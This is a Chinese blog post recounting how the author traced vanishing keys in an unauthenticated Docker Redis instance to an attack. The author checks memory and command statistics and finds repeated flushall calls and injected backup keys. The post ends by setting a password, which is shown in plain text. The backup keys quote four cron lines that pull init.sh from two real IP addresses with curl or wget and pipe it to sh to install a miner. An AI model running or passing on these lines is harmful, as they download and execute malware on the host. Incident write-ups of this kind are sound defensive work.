记一次Redis被攻击的解决方案

近期在开发小程序后台时,发现redis里面的key有时会莫名奇妙地消失,而且是离过期时间很远的key。本人首先是认为服务器内存不足,然后查看了一下服务器内存。

free -m

在这里插入图片描述

发现剩余80M,其实还是足够的。然后我就怀疑是不是redis设置了最大内存上限,首先打开redis的客户端,因为我是使用docker部署的redis,所以使用了一下命令

docker exec -it containerID redis-cli

选择数据库

在这里插入图片描述

使用下面的命令查看内存配置

info memory

得到下面的结果

在这里插入图片描述

其中used_memory表示已被使用的内存,其中下面的used_memory_human表示人性化的数据,表示用了1.68M内存,所以看出不是内存不足的问题,然后我使用下面的指令查看历史调用过的指令

info commandstats

在这里插入图片描述

然后发现一个很震惊的事情,flushall命令居然被调用了300次,然后我又打开aof文件查看

扫描二维码关注公众号,回复: 13664532 查看本文章

在这里插入图片描述

果然flushall被使用过,稳妥妥遭受攻击了。然后我又打开redis desktop,发现又四个莫名其妙的东西(backup1、backup2…)

在这里插入图片描述

点进去看,发现写有一些sh脚本,分别如下

*/2 * * * * root cd1 -fsSL http://195.58.38.171/cleanfda/init.sh | sh
*/3 * * * * root wget -q -O- http://195.58.38.171/cleanfda/init.sh | sh
*/4 * * * * root curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh
*/5 * * * * root wd1 -q -O- http://195.242.111.238/cleanfda/init.sh | sh

上网查了一下,通过这些脚本,攻击者会把redis当作矿机使用。

然后我想到的是马上为redis上密码,首先我把redis容器给删了

docker rm -f 容器id和容器名

然后打开redis的配置文件,设置密码,并且用下面的命令启动

docker run --name redis -v /root/redis/data:/data -v /root/redis/redis.conf:/usr/local/etc/redis.conf -p 6379:6379 -d redis redis-server

打开redis客户端设置密码

127.0.0.1:6379> config set requirepass zkcourse8346@

猜你喜欢

转载自blog.csdn.net/qq_35347200/article/details/122516885